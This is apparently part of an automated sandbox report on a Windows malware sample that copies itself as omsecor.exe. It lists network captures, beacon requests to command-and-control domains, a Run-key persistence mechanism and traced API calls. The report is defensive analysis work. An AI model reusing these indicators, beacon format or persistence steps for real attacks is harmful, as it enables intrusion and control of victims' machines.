Dec 5, 2024 18:04:36.663953066 CET	49748	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:04:36.783663034 CET	80	49748	52.34.198.229	192.168.2.7
Dec 5, 2024 18:04:37.054436922 CET	49742	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:04:37.063429117 CET	49754	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:04:37.183795929 CET	80	49754	193.166.255.171	192.168.2.7
Dec 5, 2024 18:04:37.185534000 CET	49754	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:04:37.187115908 CET	49754	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:04:37.306962967 CET	80	49754	193.166.255.171	192.168.2.7
Dec 5, 2024 18:04:59.095341921 CET	80	49754	193.166.255.171	192.168.2.7
Dec 5, 2024 18:04:59.095439911 CET	49754	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:04:59.096461058 CET	49754	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:04:59.214235067 CET	49803	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:04:59.216355085 CET	80	49754	193.166.255.171	192.168.2.7
Dec 5, 2024 18:04:59.334084034 CET	80	49803	193.166.255.171	192.168.2.7
Dec 5, 2024 18:04:59.334197998 CET	49803	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:04:59.334496975 CET	49803	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:04:59.454387903 CET	80	49803	193.166.255.171	192.168.2.7
Dec 5, 2024 18:05:21.253506899 CET	80	49803	193.166.255.171	192.168.2.7
Dec 5, 2024 18:05:21.253613949 CET	49803	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:05:21.254290104 CET	49803	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:05:21.373411894 CET	49851	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:05:21.375205994 CET	80	49803	193.166.255.171	192.168.2.7
Dec 5, 2024 18:05:21.493297100 CET	80	49851	15.197.204.56	192.168.2.7
Dec 5, 2024 18:05:21.493427038 CET	49851	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:05:21.493674040 CET	49851	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:05:21.614376068 CET	80	49851	15.197.204.56	192.168.2.7
Dec 5, 2024 18:05:22.615412951 CET	80	49851	15.197.204.56	192.168.2.7
Dec 5, 2024 18:05:22.615654945 CET	49851	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:05:22.732995987 CET	49857	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:05:22.852768898 CET	80	49857	52.34.198.229	192.168.2.7
Dec 5, 2024 18:05:22.853009939 CET	49857	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:05:22.853296995 CET	49857	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:05:22.973149061 CET	80	49857	52.34.198.229	192.168.2.7
Dec 5, 2024 18:05:24.217924118 CET	80	49857	52.34.198.229	192.168.2.7
Dec 5, 2024 18:05:24.217983961 CET	80	49857	52.34.198.229	192.168.2.7
Dec 5, 2024 18:05:24.218147039 CET	49857	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:05:24.218147039 CET	49857	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:05:24.219597101 CET	49857	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:05:24.334883928 CET	49862	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:05:24.339363098 CET	80	49857	52.34.198.229	192.168.2.7
Dec 5, 2024 18:05:24.454787970 CET	80	49862	193.166.255.171	192.168.2.7
Dec 5, 2024 18:05:24.455008030 CET	49862	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:05:24.455173969 CET	49862	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:05:24.575201988 CET	80	49862	193.166.255.171	192.168.2.7
Dec 5, 2024 18:05:46.346301079 CET	80	49862	193.166.255.171	192.168.2.7
Dec 5, 2024 18:05:46.346450090 CET	49862	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:05:46.346616030 CET	49862	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:05:46.448956966 CET	49913	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:05:46.466274023 CET	80	49862	193.166.255.171	192.168.2.7
Dec 5, 2024 18:05:46.568967104 CET	80	49913	193.166.255.171	192.168.2.7
Dec 5, 2024 18:05:46.569144964 CET	49913	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:05:46.569494009 CET	49913	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:05:46.689265966 CET	80	49913	193.166.255.171	192.168.2.7
Dec 5, 2024 18:06:08.472119093 CET	80	49913	193.166.255.171	192.168.2.7
Dec 5, 2024 18:06:08.472191095 CET	49913	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:06:08.472381115 CET	49913	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:06:08.590435982 CET	49851	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:06:08.590816021 CET	49965	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:06:08.592125893 CET	80	49913	193.166.255.171	192.168.2.7
Dec 5, 2024 18:06:08.710678101 CET	80	49965	15.197.204.56	192.168.2.7
Dec 5, 2024 18:06:08.710761070 CET	49965	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:06:08.711038113 CET	80	49851	15.197.204.56	192.168.2.7
Dec 5, 2024 18:06:08.711040020 CET	49965	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:06:08.711081028 CET	49851	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:06:08.831403017 CET	80	49965	15.197.204.56	192.168.2.7
Dec 5, 2024 18:06:09.820947886 CET	80	49965	15.197.204.56	192.168.2.7
Dec 5, 2024 18:06:09.821016073 CET	49965	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:06:09.944407940 CET	49969	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:06:10.065933943 CET	80	49969	52.34.198.229	192.168.2.7
Dec 5, 2024 18:06:10.066041946 CET	49969	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:06:10.066677094 CET	49969	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:06:10.186336994 CET	80	49969	52.34.198.229	192.168.2.7
Dec 5, 2024 18:06:11.427999020 CET	80	49969	52.34.198.229	192.168.2.7
Dec 5, 2024 18:06:11.428061962 CET	49969	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:06:11.428217888 CET	80	49969	52.34.198.229	192.168.2.7
Dec 5, 2024 18:06:11.428270102 CET	49969	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:06:11.428947926 CET	49969	80	192.168.2.7	52.34.198.229
Dec 5, 2024 18:06:11.548582077 CET	80	49969	52.34.198.229	192.168.2.7
Dec 5, 2024 18:06:11.667993069 CET	49972	80	192.168.2.7	193.166.255.171
Dec 5, 2024 18:06:11.686968088 CET	49965	80	192.168.2.7	15.197.204.56
Dec 5, 2024 18:06:11.787787914 CET	80	49972	193.166.255.171	192.168.2.7
Dec 5, 2024 18:06:11.787935972 CET	49972	80	192.168.2.7	193.166.255.171

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 5, 2024 18:04:07.947885990 CET	53994	53	192.168.2.7	1.1.1.1
Dec 5, 2024 18:04:08.407656908 CET	53	53994	1.1.1.1	192.168.2.7
Dec 5, 2024 18:04:32.883596897 CET	59024	53	192.168.2.7	1.1.1.1
Dec 5, 2024 18:04:33.246804953 CET	53	59024	1.1.1.1	192.168.2.7
Dec 5, 2024 18:04:34.591979027 CET	51863	53	192.168.2.7	1.1.1.1
Dec 5, 2024 18:04:35.172810078 CET	53	51863	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 5, 2024 18:04:07.947885990 CET	192.168.2.7	1.1.1.1	0xb8cf	Standard query (0)	lousta.net	A (IP address)	IN (0x0001)	false
Dec 5, 2024 18:04:32.883596897 CET	192.168.2.7	1.1.1.1	0x652c	Standard query (0)	mkkuei4kdsz.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 18:04:34.591979027 CET	192.168.2.7	1.1.1.1	0x1fdb	Standard query (0)	ow5dirasuek.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 5, 2024 18:04:08.407656908 CET	1.1.1.1	192.168.2.7	0xb8cf	No error (0)	lousta.net	193.166.255.171	A (IP address)	IN (0x0001)	false
Dec 5, 2024 18:04:33.246804953 CET	1.1.1.1	192.168.2.7	0x652c	No error (0)	mkkuei4kdsz.com	15.197.204.56	A (IP address)	IN (0x0001)	false
Dec 5, 2024 18:04:33.246804953 CET	1.1.1.1	192.168.2.7	0x652c	No error (0)	mkkuei4kdsz.com	3.33.243.145	A (IP address)	IN (0x0001)	false
Dec 5, 2024 18:04:35.172810078 CET	1.1.1.1	192.168.2.7	0x1fdb	No error (0)	ow5dirasuek.com	52.34.198.229	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

lousta.net

mkkuei4kdsz.com

ow5dirasuek.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.166.255.171	80	3808	C:\Users\user\AppData\Roaming\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 18:04:08.552088976 CET	186	OUT	GET /616/595.html HTTP/1.1 From: 133778918465242887 Via: goqjiuq^uiv@;08bcrhe@9^serdq=4403435bovA6541aoe\|A1594h:2g7c:e6ef48545gf:5a:;0547; Host: lousta.net Connection: Keep-Alive
Dec 5, 2024 18:04:08.915066957 CET	186	OUT	GET /616/595.html HTTP/1.1 From: 133778918465242887 Via: goqjiuq^uiv@;08bcrhe@9^serdq=4403435bovA6541aoe\|A1594h:2g7c:e6ef48545gf:5a:;0547; Host: lousta.net Connection: Keep-Alive
Dec 5, 2024 18:04:09.274391890 CET	186	OUT	GET /616/595.html HTTP/1.1 From: 133778918465242887 Via: goqjiuq^uiv@;08bcrhe@9^serdq=4403435bovA6541aoe\|A1594h:2g7c:e6ef48545gf:5a:;0547; Host: lousta.net Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	193.166.255.171	80	3808	C:\Users\user\AppData\Roaming\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 18:04:10.849632978 CET	186	OUT	GET /562/345.html HTTP/1.1 From: 133778918465242887 Via: goqjiuq^uiv@;08bcrhe@9^serdq=4403435bovA6541aoe\|A1594h:2g7c:e6ef48545gf:5a:;0547; Host: lousta.net Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49742	15.197.204.56	80	3808	C:\Users\user\AppData\Roaming\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 18:04:33.367984056 CET	190	OUT	GET /910/77.html HTTP/1.1 From: 133778918465242887 Via: goqjiuq^uiv@;08bcrhe@9^serdq=4403435bovA6541aoe\|A1594h:2g7c:e6ef48545gf:5a:;0547; Host: mkkuei4kdsz.com Connection: Keep-Alive
Dec 5, 2024 18:04:34.471554995 CET	259	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 05 Dec 2024 17:04:34 GMT Content-Type: text/html Content-Length: 114 Connection: keep-alive Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49748	52.34.198.229	80	3808	C:\Users\user\AppData\Roaming\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 18:04:35.294480085 CET	190	OUT	GET /56/763.html HTTP/1.1 From: 133778918465242887 Via: goqjiuq^uiv@;08bcrhe@9^serdq=4403435bovA6541aoe\|A1594h:2g7c:e6ef48545gf:5a:;0547; Host: ow5dirasuek.com Connection: Keep-Alive
Dec 5, 2024 18:04:36.659149885 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 05 Dec 2024 17:04:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=53bc98c7fd76f7846aa5411ec8e5a6dc\|8.46.123.228\|1733418276\|1733418276\|0\|1\|0; path=/; domain=.ow5dirasuek.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49754	193.166.255.171	80	1732	C:\Windows\SysWOW64\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 18:04:37.187115908 CET	186	OUT	GET /115/685.html HTTP/1.1 From: 133778973683427860 Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca. Host: lousta.net Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49803	193.166.255.171	80	1732	C:\Windows\SysWOW64\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 18:04:59.334496975 CET	185	OUT	GET /54/325.html HTTP/1.1 From: 133778973683427860 Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca. Host: lousta.net Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49851	15.197.204.56	80	1732	C:\Windows\SysWOW64\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 18:05:21.493674040 CET	191	OUT	GET /402/288.html HTTP/1.1 From: 133778973683427860 Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca. Host: mkkuei4kdsz.com Connection: Keep-Alive
Dec 5, 2024 18:05:22.615412951 CET	259	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 05 Dec 2024 17:05:22 GMT Content-Type: text/html Content-Length: 114 Connection: keep-alive Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49857	52.34.198.229	80	1732	C:\Windows\SysWOW64\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 18:05:22.853296995 CET	298	OUT	GET /372/940.html HTTP/1.1 From: 133778973683427860 Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca. Host: ow5dirasuek.com Connection: Keep-Alive Cookie: snkz=8.46.123.228; btst=53bc98c7fd76f7846aa5411ec8e5a6dc\|8.46.123.228\|1733418276\|1733418276\|0\|1\|0
Dec 5, 2024 18:05:24.217924118 CET	338	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 05 Dec 2024 17:05:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=53bc98c7fd76f7846aa5411ec8e5a6dc\|8.46.123.228\|1733418323\|1733418276\|23\|2\|0; path=/; domain=.ow5dirasuek.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49862	193.166.255.171	80	1732	C:\Windows\SysWOW64\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 18:05:24.455173969 CET	186	OUT	GET /158/950.html HTTP/1.1 From: 133778973683427860 Via: bjledplYpdq;6+3]^mc`;4Yn`m_l80/+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca. Host: lousta.net Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49913	193.166.255.171	80	1732	C:\Windows\SysWOW64\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 18:05:46.569494009 CET	185	OUT	GET /352/26.html HTTP/1.1 From: 133778973683427860 Via: bjledplYpdq;6+3]^mc`;4Yn`m_l80/+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca. Host: lousta.net Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49965	15.197.204.56	80	1732	C:\Windows\SysWOW64\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 18:06:08.711040020 CET	191	OUT	GET /697/241.html HTTP/1.1 From: 133778973683427860 Via: bjledplYpdq;6+3]^mc`;4Yn`m_l80/+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca. Host: mkkuei4kdsz.com Connection: Keep-Alive
Dec 5, 2024 18:06:09.820947886 CET	259	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 05 Dec 2024 17:06:09 GMT Content-Type: text/html Content-Length: 114 Connection: keep-alive Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49969	52.34.198.229	80	1732	C:\Windows\SysWOW64\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Dec 5, 2024 18:06:10.066677094 CET	299	OUT	GET /618/507.html HTTP/1.1 From: 133778973683427860 Via: bjledplYpdq;6+3]^mc`;4Yn`m_l80/+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca. Host: ow5dirasuek.com Connection: Keep-Alive Cookie: snkz=8.46.123.228; btst=53bc98c7fd76f7846aa5411ec8e5a6dc\|8.46.123.228\|1733418323\|1733418276\|23\|2\|0
Dec 5, 2024 18:06:11.427999020 CET	338	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 05 Dec 2024 17:06:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=53bc98c7fd76f7846aa5411ec8e5a6dc\|8.46.123.228\|1733418371\|1733418276\|35\|3\|0; path=/; domain=.ow5dirasuek.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	1
Start time:	12:04:06
Start date:	05/12/2024
Path:	C:\Users\user\Desktop\cOviNFmw21.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\cOviNFmw21.exe"
Imagebase:	0x400000
File size:	65'536 bytes
MD5 hash:	73E5F0F01BF8368B8B82432B027610E5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:04:06
Start date:	05/12/2024
Path:	C:\Users\user\AppData\Roaming\omsecor.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\omsecor.exe
Imagebase:	0x400000
File size:	65'536 bytes
MD5 hash:	9CB842FFDA5CC91A433FD8C8655C0678
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:36:08
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\omsecor.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\omsecor.exe
Imagebase:	0x400000
File size:	65'536 bytes
MD5 hash:	647527DE20AF8BB173C26019E8811EED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:37:43
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\omsecor.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\omsecor.exe /nomove
Imagebase:	0x400000
File size:	65'536 bytes
MD5 hash:	647527DE20AF8BB173C26019E8811EED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.2%
Total number of Nodes:	693
Total number of Limit Nodes:	13

Executed Functions

Function 004075D4 Relevance: 22.6, APIs: 15, Instructions: 128
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00000000,00000400), ref: 004075FC
CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00407618
GetFileSize.KERNEL32(?,00000000), ref: 0040762E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407638
RtlAllocateHeap.NTDLL(00000000), ref: 0040763F
ReadFile.KERNELBASE(?,00000000,00000000,?,00000000), ref: 00407660
WriteFile.KERNELBASE(?,?,00000000,?,00000000), ref: 0040767F
SetFilePointer.KERNELBASE(?,00000000,00000000,00000000), ref: 00407691
ReadFile.KERNELBASE(?,?,00000040,?,00000000), ref: 004076A1
SetFilePointer.KERNELBASE(?,?,00000000,00000000), ref: 004076AF
ReadFile.KERNELBASE(?,?,000000F8,?,00000000), ref: 004076C5
SetFilePointer.KERNELBASE(?,?,00000000,00000000), ref: 004076EF
WriteFile.KERNELBASE(?,?,000000F8,?,00000000), ref: 00407705
CloseHandle.KERNELBASE(?), ref: 00407714
CloseHandle.KERNEL32(?), ref: 00407719

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: File$PointerRead$CloseCreateHandleHeapWrite$AllocateProcessSize
String ID:
API String ID: 2296163861-0
Opcode ID: 894f1e02061cece153af19de11902bbae5fe70548c4ece14d410128547cdf08b
Instruction ID: 7ae3b020874f099f6a4231377d147a855b3f50186be4225f3fece46b7b724b47
Opcode Fuzzy Hash: 894f1e02061cece153af19de11902bbae5fe70548c4ece14d410128547cdf08b
Instruction Fuzzy Hash: F0416A71901028BADB209BA2DD48EEFBF7DEF45390F104476F619F21A0D7709A10DB64

Function 0040ABD9 Relevance: 3.0, APIs: 2, Instructions: 26
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

FindFirstFileW.KERNEL32(?,00000000), ref: 0040AC03
FindClose.KERNEL32(00000000), ref: 0040AC0F

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: FindOpen$CloseFileFirst
String ID:
API String ID: 3155378417-0
Opcode ID: ab3d299b7ad4ae48143099222020c13c56cdbf39ef5f27e8c74799f3a551cc1f
Instruction ID: fa0310e4c65bbc590993533f650c85f5e3ee77ef27cd51fa1c8f473dbf319076
Opcode Fuzzy Hash: ab3d299b7ad4ae48143099222020c13c56cdbf39ef5f27e8c74799f3a551cc1f
Instruction Fuzzy Hash: 5DE0D87160C7044BE220E7B49D0C967B3DCAB45325F000F36A9B6E20C0FA38D46A465F

Function 0040B346 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 153
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B36C
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B39D

Part of subcall function 004069FD: RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,00000000,00020006,00000000,?,?,00000400,?,?,?,0040B3BC,80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run), ref: 00406A22

GetLastError.KERNEL32(00000004), ref: 0040B3CA
Sleep.KERNEL32(00002710), ref: 0040B3F7
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B413
CopyFileW.KERNEL32(?,?,00000000), ref: 0040B435
ExitProcess.KERNEL32 ref: 0040B44D

Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
Part of subcall function 0040AC20: RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

GetLastError.KERNEL32(00000004), ref: 0040B48D
GetLastError.KERNEL32(00000004), ref: 0040B49A
ExpandEnvironmentStringsW.KERNEL32(?,00000400), ref: 0040B4C7
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B4D7
GetLastError.KERNEL32(00000004), ref: 0040B500

Strings

/nomove, xrefs: 0040B4D9
opeqmc.exe, xrefs: 0040B36E
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040B3AD
IueiOod, xrefs: 0040B3A8

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: File$ErrorLastModuleName$Open$CopyCreateEnvironmentExitExpandProcessSleepStrings
String ID: /nomove$IueiOod$SOFTWARE\Microsoft\Windows\CurrentVersion\Run$opeqmc.exe
API String ID: 3692109554-477663111
Opcode ID: 27e6cc8fbb92a4a1dc8a331001041fcfa920682934159512c1d60e9f15f909f3
Instruction ID: ccf8aad4361994264e72a39918ed7d53ff083e628d4a69ee62a5d407c68d8035
